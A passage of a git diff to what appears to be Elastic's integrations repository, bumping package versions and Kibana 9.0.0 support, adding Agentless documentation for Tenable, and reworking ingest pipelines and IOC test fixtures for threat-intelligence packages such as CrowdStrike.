ctx.cloud?.instance?.id == null + - remove: + field: teleport.audit.instance_id + ignore_missing: true - rename: field: teleport.audit.exit_code target_field: process.exit_code @@ -1426,11 +1450,19 @@ processors: field: teleport.audit.account_id target_field: cloud.account.id ignore_missing: true + if: ctx.cloud?.account?.id == null + - remove: + field: teleport.audit.account_id + ignore_missing: true - rename: field: teleport.audit.region target_field: cloud.region ignore_missing: true ignore_failure: true + if: ctx.cloud?.region == null + - remove: + field: teleport.audit.region + ignore_missing: true - rename: field: teleport.audit.stdout target_field: teleport.audit.database.aws.ssm_run.stdout diff --git a/packages/teleport/manifest.yml b/packages/teleport/manifest.yml index 40ed0aba0b3..1e1952f2615 100644 --- a/packages/teleport/manifest.yml +++ b/packages/teleport/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.3 name: teleport title: "Teleport" -version: 1.2.1 +version: "1.3.0" source: license: "Elastic-2.0" description: "Collect logs from Teleport with Elastic Agent." @@ -12,7 +12,7 @@ categories: - security conditions: kibana: - version: "^8.14.0" + version: "^8.14.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/tenable_io/_dev/build/docs/README.md b/packages/tenable_io/_dev/build/docs/README.md index bf99aaff97e..ac724b66252 100644 --- a/packages/tenable_io/_dev/build/docs/README.md +++ b/packages/tenable_io/_dev/build/docs/README.md @@ -24,7 +24,7 @@ This module has been tested against `Tenable Vulnerability Management release` [ ## Requirements -- Elastic Agent must be installed. +- Elastic Agent must be installed _or_ use [Agentless integration](#agentless-enabled-integration). - You can install only one Elastic Agent per host. - Elastic Agent is required to stream data through the REST API and ship the data to Elastic, where the events will then be processed via the integration's ingest pipelines. @@ -53,6 +53,12 @@ The minimum **kibana.version** required is **8.12.0**. - The default value is the recommended value for a batch size by Tenable. Using a smaller batch size can improve performance. A very large value might not work as intended depending on the API and instance limitations. - If any long-running export jobs are stuck in the "PROCESSING" state and reach the user-provided timeout, the export job will be terminated, allowing for the initiation of a new export job after the specified interval. +## Agentless Enabled Integration + +Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). + +Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. + ## Setup ### To collect data from the Tenable Vulnerability Management REST APIs, follow the below steps: diff --git a/packages/tenable_io/changelog.yml b/packages/tenable_io/changelog.yml index cd9a27e99f6..553ad4687f9 100644 --- a/packages/tenable_io/changelog.yml +++ b/packages/tenable_io/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "3.8.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 +- version: "3.7.0" + changes: + - description: Enable Agentless deployment. + type: enhancement + link: https://github.com/elastic/integrations/pull/999999 - version: "3.6.2" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/tenable_io/data_stream/asset/elasticsearch/ingest_pipeline/default.yml b/packages/tenable_io/data_stream/asset/elasticsearch/ingest_pipeline/default.yml index ff5b3fcb5a2..75c37620ba1 100644 --- a/packages/tenable_io/data_stream/asset/elasticsearch/ingest_pipeline/default.yml +++ b/packages/tenable_io/data_stream/asset/elasticsearch/ingest_pipeline/default.yml @@ -18,6 +18,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/tenable_io/data_stream/plugin/elasticsearch/ingest_pipeline/default.yml b/packages/tenable_io/data_stream/plugin/elasticsearch/ingest_pipeline/default.yml index 7c4adfbfc27..f3fe0a36c52 100644 --- a/packages/tenable_io/data_stream/plugin/elasticsearch/ingest_pipeline/default.yml +++ b/packages/tenable_io/data_stream/plugin/elasticsearch/ingest_pipeline/default.yml @@ -18,6 +18,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/tenable_io/data_stream/scan/elasticsearch/ingest_pipeline/default.yml b/packages/tenable_io/data_stream/scan/elasticsearch/ingest_pipeline/default.yml index ba0b0f1edfc..17aa5c94cf9 100644 --- a/packages/tenable_io/data_stream/scan/elasticsearch/ingest_pipeline/default.yml +++ b/packages/tenable_io/data_stream/scan/elasticsearch/ingest_pipeline/default.yml @@ -15,6 +15,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/tenable_io/data_stream/vulnerability/elasticsearch/ingest_pipeline/default.yml b/packages/tenable_io/data_stream/vulnerability/elasticsearch/ingest_pipeline/default.yml index 391b1aaa13a..97bdbe4b634 100644 --- a/packages/tenable_io/data_stream/vulnerability/elasticsearch/ingest_pipeline/default.yml +++ b/packages/tenable_io/data_stream/vulnerability/elasticsearch/ingest_pipeline/default.yml @@ -27,6 +27,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/tenable_io/docs/README.md b/packages/tenable_io/docs/README.md index c6a18b99407..d4bbdaea435 100644 --- a/packages/tenable_io/docs/README.md +++ b/packages/tenable_io/docs/README.md @@ -24,7 +24,7 @@ This module has been tested against `Tenable Vulnerability Management release` [ ## Requirements -- Elastic Agent must be installed. +- Elastic Agent must be installed _or_ use [Agentless integration](#agentless-enabled-integration). - You can install only one Elastic Agent per host. - Elastic Agent is required to stream data through the REST API and ship the data to Elastic, where the events will then be processed via the integration's ingest pipelines. @@ -53,6 +53,12 @@ The minimum **kibana.version** required is **8.12.0**. - The default value is the recommended value for a batch size by Tenable. Using a smaller batch size can improve performance. A very large value might not work as intended depending on the API and instance limitations. - If any long-running export jobs are stuck in the "PROCESSING" state and reach the user-provided timeout, the export job will be terminated, allowing for the initiation of a new export job after the specified interval. +## Agentless Enabled Integration + +Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). + +Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. + ## Setup ### To collect data from the Tenable Vulnerability Management REST APIs, follow the below steps: diff --git a/packages/tenable_io/manifest.yml b/packages/tenable_io/manifest.yml index dae7de40fc5..e8e5f82278c 100644 --- a/packages/tenable_io/manifest.yml +++ b/packages/tenable_io/manifest.yml @@ -1,7 +1,7 @@ -format_version: "3.0.2" +format_version: "3.2.3" name: tenable_io title: Tenable Vulnerability Management -version: "3.6.2" +version: "3.8.0" description: Collect logs from Tenable Vulnerability Management with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - vulnerability_management conditions: kibana: - version: "^8.13.0" + version: "^8.18.0 || ^9.0.0" screenshots: - src: /img/tenable_io-screenshot.png title: Tenable Vulnerability Management dashboard screenshot @@ -24,6 +24,14 @@ policy_templates: - name: tenable_io title: Tenable Vulnerability Management description: Collect logs from Tenable Vulnerability Management. + deployment_modes: + default: + enabled: true + agentless: + enabled: true + organization: security + division: engineering + team: security-service-integrations inputs: - type: cel title: Collect Tenable Vulnerability Management logs via API diff --git a/packages/tenable_io/validation.yml b/packages/tenable_io/validation.yml index 901320f8d0a..2b0dbafa239 100644 --- a/packages/tenable_io/validation.yml +++ b/packages/tenable_io/validation.yml @@ -1,4 +1,3 @@ errors: exclude_checks: - SVR00002 # Mandatory filters in dashboards. - - SVR00005 # Kibana version for saved tags. diff --git a/packages/tenable_sc/changelog.yml b/packages/tenable_sc/changelog.yml index 8b76d6edd63..eecd20c2ef2 100644 --- a/packages/tenable_sc/changelog.yml +++ b/packages/tenable_sc/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.29.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.28.2" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/tenable_sc/manifest.yml b/packages/tenable_sc/manifest.yml index f4e7ca9d9b0..e47451b5426 100644 --- a/packages/tenable_sc/manifest.yml +++ b/packages/tenable_sc/manifest.yml @@ -2,7 +2,7 @@ format_version: "3.0.2" name: tenable_sc title: Tenable Security Center # The version must be updated in the input configuration templates as well, in order to set the correct User-Agent header. Until elastic/kibana#121310 is implemented we will have to manually sync these. -version: "1.28.2" +version: "1.29.0" description: | Collect data from Tenable Security Center with Elastic Agent. type: integration @@ -11,7 +11,7 @@ categories: - vulnerability_management conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/tenable_sc-screenshot.png title: Tenable Security Center vulnerability dashboard screenshot diff --git a/packages/threat_map/changelog.yml b/packages/threat_map/changelog.yml index 3d2b32728f0..33619644996 100644 --- a/packages/threat_map/changelog.yml +++ b/packages/threat_map/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.2.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.1.2" changes: - description: Fix the Invalid SVG path error caused by the geo_point type for source and destination geolocation fields. diff --git a/packages/threat_map/manifest.yml b/packages/threat_map/manifest.yml index bf7f41107f2..a334ecd59c3 100644 --- a/packages/threat_map/manifest.yml +++ b/packages/threat_map/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.3.0 name: threat_map title: Threat Map -version: 0.1.2 +version: "0.2.0" description: "The Threat Map integration includes a dashboard for analyzing network traffic data." type: integration categories: @@ -9,7 +9,7 @@ categories: - security conditions: kibana: - version: "^8.14.0" + version: "^8.14.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/thycotic_ss/changelog.yml b/packages/thycotic_ss/changelog.yml index 8726c7998ab..b559d9f5f75 100644 --- a/packages/thycotic_ss/changelog.yml +++ b/packages/thycotic_ss/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.12.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.11.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/thycotic_ss/manifest.yml b/packages/thycotic_ss/manifest.yml index 9ba7b6afdef..7bd31165739 100644 --- a/packages/thycotic_ss/manifest.yml +++ b/packages/thycotic_ss/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.3" name: thycotic_ss title: "Thycotic Secret Server" -version: "1.11.1" +version: "1.12.0" source: license: "Elastic-2.0" description: "Thycotic Secret Server logs" @@ -10,7 +10,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/ti_abusech/changelog.yml b/packages/ti_abusech/changelog.yml index 2c2198d34a6..666f6022976 100644 --- a/packages/ti_abusech/changelog.yml +++ b/packages/ti_abusech/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.6.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.5.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/ti_abusech/manifest.yml b/packages/ti_abusech/manifest.yml index f408cf0bc02..146baa6988c 100644 --- a/packages/ti_abusech/manifest.yml +++ b/packages/ti_abusech/manifest.yml @@ -1,13 +1,13 @@ name: ti_abusech title: AbuseCH -version: "2.5.1" +version: "2.6.0" description: Ingest threat intelligence indicators from URL Haus, Malware Bazaar, and Threat Fox feeds with Elastic Agent. type: integration format_version: "3.0.3" categories: ["security", "threat_intel"] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/abusech2.svg title: AbuseCH diff --git a/packages/ti_cif3/changelog.yml b/packages/ti_cif3/changelog.yml index 870fda35ee8..efa9254e52d 100644 --- a/packages/ti_cif3/changelog.yml +++ b/packages/ti_cif3/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.17.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.16.0" changes: - description: Do not remove `event.original` in main ingest pipeline. diff --git a/packages/ti_cif3/manifest.yml b/packages/ti_cif3/manifest.yml index 620f0a95ffa..339f9c79315 100644 --- a/packages/ti_cif3/manifest.yml +++ b/packages/ti_cif3/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: ti_cif3 title: "Collective Intelligence Framework v3" -version: "1.16.0" +version: "1.17.0" description: "Ingest threat indicators from a Collective Intelligence Framework v3 instance with Elastic Agent." type: integration categories: @@ -9,7 +9,7 @@ categories: - threat_intel conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/csg_logo_big.svg title: csirtgadgets logo diff --git a/packages/ti_crowdstrike/changelog.yml b/packages/ti_crowdstrike/changelog.yml index 9def05a6ebd..14ac9e0de07 100644 --- a/packages/ti_crowdstrike/changelog.yml +++ b/packages/ti_crowdstrike/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "2.4.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 +- version: "2.3.2" + changes: + - description: Ensure the appropriate `threat.indicator` fields are set to allow population of the Indicator column in Security Intelligence view. + type: bugfix + link: https://github.com/elastic/integrations/pull/12915 - version: "2.3.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/ti_crowdstrike/data_stream/intel/_dev/test/pipeline/test-intel.log-expected.json b/packages/ti_crowdstrike/data_stream/intel/_dev/test/pipeline/test-intel.log-expected.json index c19e8fb4afd..35bc0f90daf 100644 --- a/packages/ti_crowdstrike/data_stream/intel/_dev/test/pipeline/test-intel.log-expected.json +++ b/packages/ti_crowdstrike/data_stream/intel/_dev/test/pipeline/test-intel.log-expected.json @@ -845,4 +845,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/ti_crowdstrike/data_stream/ioc/_dev/test/pipeline/test-ioc.log b/packages/ti_crowdstrike/data_stream/ioc/_dev/test/pipeline/test-ioc.log index 026d2b30411..640ed322bb6 100644 --- a/packages/ti_crowdstrike/data_stream/ioc/_dev/test/pipeline/test-ioc.log +++ b/packages/ti_crowdstrike/data_stream/ioc/_dev/test/pipeline/test-ioc.log @@ -1 +1,3 @@ -{"id":"34874a88935860cf6yyfc856d6abb6f35a29d8c077195ed6291aa8373696b44","type":"ipv4","value":"81.2.69.192","action":"detect again","severity":"critical","description":"IS-38887","metadata":{"filename":"High_Serverity_Heuristic_Sandbox_Threat.docx"},"platforms":["windows","mac","linux"],"tags":["IS-38887"],"expired":false,"deleted":false,"applied_globally":true,"from_parent":false,"created_on":"2023-11-01T10:22:23.10607613Z","created_by":"abc.it@example.com","modified_on":"2023-11-01T10:22:23.10607613Z","modified_by":"example.it@ex.com"} \ No newline at end of file +{"id":"34874a88935860cf6yyfc856d6abb6f35a29d8c077195ed6291aa8373696b44","type":"ipv4","value":"81.2.69.192","action":"detect again","severity":"critical","description":"IS-38887","metadata":{"filename":"High_Serverity_Heuristic_Sandbox_Threat.docx"},"platforms":["windows","mac","linux"],"tags":["IS-38887"],"expired":false,"deleted":false,"applied_globally":true,"from_parent":false,"created_on":"2023-11-01T10:22:23.10607613Z","created_by":"abc.it@example.com","modified_on":"2023-11-01T10:22:23.10607613Z","modified_by":"example.it@ex.com"} +{"action":"prevent","applied_globally":true,"created_by":"user@example.com","created_on":"2025-02-03T10:04:18.39565409Z","deleted":false,"description":"some description","expired":false,"from_parent":false,"id":"e6551b7d4ec26f0775640a62cda253a7e2237e02a9579ba8cdf53e2e649d8b72","metadata":{"av_hits":-1,"company_name":"org.localsend","file_description":"localsend_app","file_version":"1.14.0+45","original_filename":"localsend_app.exe","product_name":"localsend_app","product_version":"1.14.0+45","signed":false},"modified_by":"user@example.com","modified_on":"2025-02-03T10:04:18.39565409Z","platforms":["windows","mac","linux"],"severity":"low","type":"sha256","value":"42265b18327115957f629c707cdbe7b95a3030be7af8fbf1cc0469675ac2e4fb"} +{"action":"detect","applied_globally":true,"created_by":"user@example.com","created_on":"2025-01-29T09:01:39.125982486Z","deleted":false,"description":"Monitor use of deepseek.","expired":false,"from_parent":false,"id":"01f90f4e9dc9ad772363c725c502798bf91332502ecae2bc222d6ee57cfa091f","metadata":{},"modified_by":"user@example.com","modified_on":"2025-01-29T11:28:52.379311339Z","platforms":["windows","mac","linux"],"severity":"informational","type":"domain","value":"platform.deepseek.com"} diff --git a/packages/ti_crowdstrike/data_stream/ioc/_dev/test/pipeline/test-ioc.log-expected.json b/packages/ti_crowdstrike/data_stream/ioc/_dev/test/pipeline/test-ioc.log-expected.json index efc167f9409..6453f4fc3e2 100644 --- a/packages/ti_crowdstrike/data_stream/ioc/_dev/test/pipeline/test-ioc.log-expected.json +++ b/packages/ti_crowdstrike/data_stream/ioc/_dev/test/pipeline/test-ioc.log-expected.json @@ -76,6 +76,155 @@ "domain": "example.com", "name": "abc.it" } + }, + { + "@timestamp": "2025-02-03T10:04:18.395Z", + "ecs": { + "version": "8.11.0" + }, + "event": { + "action": "prevent", + "category": [ + "threat" + ], + "id": "e6551b7d4ec26f0775640a62cda253a7e2237e02a9579ba8cdf53e2e649d8b72", + "kind": "enrichment", + "original": "{\"action\":\"prevent\",\"applied_globally\":true,\"created_by\":\"user@example.com\",\"created_on\":\"2025-02-03T10:04:18.39565409Z\",\"deleted\":false,\"description\":\"some description\",\"expired\":false,\"from_parent\":false,\"id\":\"e6551b7d4ec26f0775640a62cda253a7e2237e02a9579ba8cdf53e2e649d8b72\",\"metadata\":{\"av_hits\":-1,\"company_name\":\"org.localsend\",\"file_description\":\"localsend_app\",\"file_version\":\"1.14.0+45\",\"original_filename\":\"localsend_app.exe\",\"product_name\":\"localsend_app\",\"product_version\":\"1.14.0+45\",\"signed\":false},\"modified_by\":\"user@example.com\",\"modified_on\":\"2025-02-03T10:04:18.39565409Z\",\"platforms\":[\"windows\",\"mac\",\"linux\"],\"severity\":\"low\",\"type\":\"sha256\",\"value\":\"42265b18327115957f629c707cdbe7b95a3030be7af8fbf1cc0469675ac2e4fb\"}", + "type": [ + "indicator" + ] + }, + "related": { + "hash": [ + "42265b18327115957f629c707cdbe7b95a3030be7af8fbf1cc0469675ac2e4fb" + ], + "user": [ + "user@example.com" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ], + "threat": { + "indicator": { + "description": "some description", + "file": { + "hash": { + "sha256": "42265b18327115957f629c707cdbe7b95a3030be7af8fbf1cc0469675ac2e4fb" + } + }, + "first_seen": "2025-02-03T10:04:18.395Z", + "modified_at": "2025-02-03T10:04:18.395Z", + "name": "42265b18327115957f629c707cdbe7b95a3030be7af8fbf1cc0469675ac2e4fb", + "provider": "crowdstrike", + "type": "file" + } + }, + "ti_crowdstrike": { + "ioc": { + "action": "prevent", + "applied_globally": true, + "created_by": "user@example.com", + "created_on": "2025-02-03T10:04:18.395Z", + "deleted": false, + "description": "some description", + "expired": false, + "from_parent": false, + "id": "e6551b7d4ec26f0775640a62cda253a7e2237e02a9579ba8cdf53e2e649d8b72", + "metadata": { + "av_hits": -1, + "company_name": "org.localsend", + "file_description": "localsend_app", + "file_version": "1.14.0+45", + "original_filename": "localsend_app.exe", + "product_name": "localsend_app", + "product_version": "1.14.0+45", + "signed": false + }, + "modified_by": "user@example.com", + "modified_on": "2025-02-03T10:04:18.395Z", + "platforms": [ + "windows", + "mac", + "linux" + ], + "severity": "low", + "type": "sha256", + "value": "42265b18327115957f629c707cdbe7b95a3030be7af8fbf1cc0469675ac2e4fb" + } + }, + "user": { + "domain": "example.com", + "name": "user" + } + }, + { + "@timestamp": "2025-01-29T11:28:52.379Z", + "ecs": { + "version": "8.11.0" + }, + "event": { + "action": "detect", + "category": [ + "threat" + ], + "id": "01f90f4e9dc9ad772363c725c502798bf91332502ecae2bc222d6ee57cfa091f", + "kind": "enrichment", + "original": "{\"action\":\"detect\",\"applied_globally\":true,\"created_by\":\"user@example.com\",\"created_on\":\"2025-01-29T09:01:39.125982486Z\",\"deleted\":false,\"description\":\"Monitor use of deepseek.\",\"expired\":false,\"from_parent\":false,\"id\":\"01f90f4e9dc9ad772363c725c502798bf91332502ecae2bc222d6ee57cfa091f\",\"metadata\":{},\"modified_by\":\"user@example.com\",\"modified_on\":\"2025-01-29T11:28:52.379311339Z\",\"platforms\":[\"windows\",\"mac\",\"linux\"],\"severity\":\"informational\",\"type\":\"domain\",\"value\":\"platform.deepseek.com\"}", + "type": [ + "indicator" + ] + }, + "related": { + "user": [ + "user@example.com" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ], + "threat": { + "indicator": { + "description": "Monitor use of deepseek.", + "first_seen": "2025-01-29T09:01:39.125Z", + "modified_at": "2025-01-29T11:28:52.379Z", + "name": "platform.deepseek.com", + "provider": "crowdstrike", + "type": "domain-name", + "url": { + "domain": "platform.deepseek.com" + } + } + }, + "ti_crowdstrike": { + "ioc": { + "action": "detect", + "applied_globally": true, + "created_by": "user@example.com", + "created_on": "2025-01-29T09:01:39.125Z", + "deleted": false, + "description": "Monitor use of deepseek.", + "expired": false, + "from_parent": false, + "id": "01f90f4e9dc9ad772363c725c502798bf91332502ecae2bc222d6ee57cfa091f", + "modified_by": "user@example.com", + "modified_on": "2025-01-29T11:28:52.379Z", + "platforms": [ + "windows", + "mac", + "linux" + ], + "severity": "informational", + "type": "domain", + "value": "platform.deepseek.com" + } + }, + "user": { + "domain": "example.com", + "name": "user" + } } ] -} \ No newline at end of file +} diff --git a/packages/ti_crowdstrike/data_stream/ioc/elasticsearch/ingest_pipeline/default.yml b/packages/ti_crowdstrike/data_stream/ioc/elasticsearch/ingest_pipeline/default.yml index bcd024ad06a..23334c12547 100644 --- a/packages/ti_crowdstrike/data_stream/ioc/elasticsearch/ingest_pipeline/default.yml +++ b/packages/ti_crowdstrike/data_stream/ioc/elasticsearch/ingest_pipeline/default.yml @@ -260,6 +260,16 @@ processors: tag: rename_tags target_field: ti_crowdstrike.ioc.tags ignore_missing: true + - rename: + field: json.value + tag: rename_value + target_field: ti_crowdstrike.ioc.value + ignore_missing: true + - set: + field: threat.indicator.name + tag: set_threat_indicator_name + copy_from: ti_crowdstrike.ioc.value + ignore_empty_value: true - rename: field: json.type tag: rename_type @@ -280,22 +290,27 @@ processors: source: > String mapping = params[ctx.ti_crowdstrike.ioc.type]; if (mapping != null) { - ctx.threat.indicator.type = mapping; + ctx.threat.indicator.type = mapping; + // IP values are handled below to allow conversion checks. + if (ctx.ti_crowdstrike.ioc.type == 'domain') { + ctx.threat.indicator.url = ctx.threat.indicator.url ?: [:]; + ctx.threat.indicator.url.domain = ctx.ti_crowdstrike?.ioc.value; + } else if (mapping == 'file') { + ctx.threat.indicator.file = ctx.threat.indicator.file ?: [:]; + ctx.threat.indicator.file.hash = ctx.threat.indicator.file.hash ?: [:]; + if (ctx.ti_crowdstrike.ioc.type == 'md5') { + ctx.threat.indicator.file.hash.md5 = ctx.ti_crowdstrike?.ioc.value; + } else if (ctx.ti_crowdstrike.ioc.type == 'sha256') { + ctx.threat.indicator.file.hash.sha256 = ctx.ti_crowdstrike?.ioc.value; + } else if (ctx.ti_crowdstrike.ioc.type == 'sha1') { + ctx.threat.indicator.file.hash.sha1 = ctx.ti_crowdstrike?.ioc.value; + } + } } on_failure: - append: field: error.message value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.value - tag: rename_value - target_field: ti_crowdstrike.ioc.value - ignore_missing: true - - set: - field: threat.indicator.name - tag: set_threat_indicator_name - copy_from: ti_crowdstrike.ioc.value - ignore_empty_value: true - convert: field: ti_crowdstrike.ioc.value tag: convert_ioc_value_to_ip diff --git a/packages/ti_crowdstrike/manifest.yml b/packages/ti_crowdstrike/manifest.yml index 6286961f972..c455db2a9f4 100644 --- a/packages/ti_crowdstrike/manifest.yml +++ b/packages/ti_crowdstrike/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.3 name: ti_crowdstrike title: CrowdStrike Falcon Intelligence -version: "2.3.1" +version: "2.4.0" description: Collect logs from CrowdStrike Falcon Intelligence with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - threat_intel conditions: kibana: - version: ^8.13.0 + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/ti_custom/changelog.yml b/packages/ti_custom/changelog.yml index 6c8d5550a79..52f62c8c903 100644 --- a/packages/ti_custom/changelog.yml +++ b/packages/ti_custom/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.8.1" + changes: + - description: Add mapping for threat.indicator.url.original in transform. + type: bugfix + link: http://github.com/elastic/integrations/pull/12841 - version: "0.8.0" changes: - description: Update Kibana constraint to support 9.0.0. diff --git a/packages/ti_custom/elasticsearch/transform/latest_ioc/fields/ecs.yml b/packages/ti_custom/elasticsearch/transform/latest_ioc/fields/ecs.yml index e67b0f76c91..3e947dce788 100644 --- a/packages/ti_custom/elasticsearch/transform/latest_ioc/fields/ecs.yml +++ b/packages/ti_custom/elasticsearch/transform/latest_ioc/fields/ecs.yml @@ -42,6 +42,8 @@ type: keyword - name: threat.indicator.url.full type: keyword +- name: threat.indicator.url.original + type: wildcard # Below fields to be moved into base-fields.yml after kibana.version changed to >= 8.14 # Related to fix: https://github.com/elastic/kibana/pull/177608 - name: event.module diff --git a/packages/ti_custom/elasticsearch/transform/latest_ioc/transform.yml b/packages/ti_custom/elasticsearch/transform/latest_ioc/transform.yml index 9689496118b..702b3f0353a 100644 --- a/packages/ti_custom/elasticsearch/transform/latest_ioc/transform.yml +++ b/packages/ti_custom/elasticsearch/transform/latest_ioc/transform.yml @@ -8,7 +8,7 @@ source: # us that ability in order to prevent having duplicate IoC data and prevent query # time field type conflicts. dest: - index: logs-ti_custom_latest.indicator-3 + index: logs-ti_custom_latest.indicator-4 aliases: - alias: logs-ti_custom_latest.indicator move_on_creation: true @@ -31,4 +31,4 @@ _meta: managed: true # Bump this version to delete, reinstall, and restart the transform during package. # Version bump is needed if there is any code change in transform. - fleet_transform_version: 0.4.0 + fleet_transform_version: 0.5.0 diff --git a/packages/ti_custom/manifest.yml b/packages/ti_custom/manifest.yml index 6631d5149d9..05307a2cc43 100644 --- a/packages/ti_custom/manifest.yml +++ b/packages/ti_custom/manifest.yml @@ -3,7 +3,7 @@ name: ti_custom title: Custom Threat Intelligence description: Ingest threat intelligence data in STIX 2.1 format with Elastic Agent type: integration -version: 0.8.0 +version: 0.8.1 categories: - custom - security diff --git a/packages/ti_cybersixgill/changelog.yml b/packages/ti_cybersixgill/changelog.yml index 7acdc51d3c1..1bdbe3b5547 100644 --- a/packages/ti_cybersixgill/changelog.yml +++ b/packages/ti_cybersixgill/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.33.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.32.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/ti_cybersixgill/manifest.yml b/packages/ti_cybersixgill/manifest.yml index 51360ee0098..7c049c88c6b 100644 --- a/packages/ti_cybersixgill/manifest.yml +++ b/packages/ti_cybersixgill/manifest.yml @@ -1,13 +1,13 @@ name: ti_cybersixgill title: Cybersixgill -version: "1.32.1" +version: "1.33.0" description: Ingest threat intelligence indicators from Cybersixgill with Elastic Agent. type: integration format_version: "3.0.2" categories: ["security", "threat_intel"] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" policy_templates: - name: cybersixgill title: Cybersixgill Threat Intel diff --git a/packages/ti_domaintools/changelog.yml b/packages/ti_domaintools/changelog.yml index 9d508db1a78..852163cd573 100644 --- a/packages/ti_domaintools/changelog.yml +++ b/packages/ti_domaintools/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.2.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.1.0" changes: - description: Initial draft of the package diff --git a/packages/ti_domaintools/manifest.yml b/packages/ti_domaintools/manifest.yml index 6e3baae6c17..50292c79690 100644 --- a/packages/ti_domaintools/manifest.yml +++ b/packages/ti_domaintools/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.3.0 name: ti_domaintools title: "DomainTools Real Time Unified Feeds" -version: 0.1.0 +version: "0.2.0" source: license: "Elastic-2.0" description: "The DomainTools NOD Feed provides real-time access to newly registered and observed domains, enabling proactive threat detection and defense." @@ -11,7 +11,7 @@ categories: - threat_intel conditions: kibana: - version: "^8.15.3" + version: 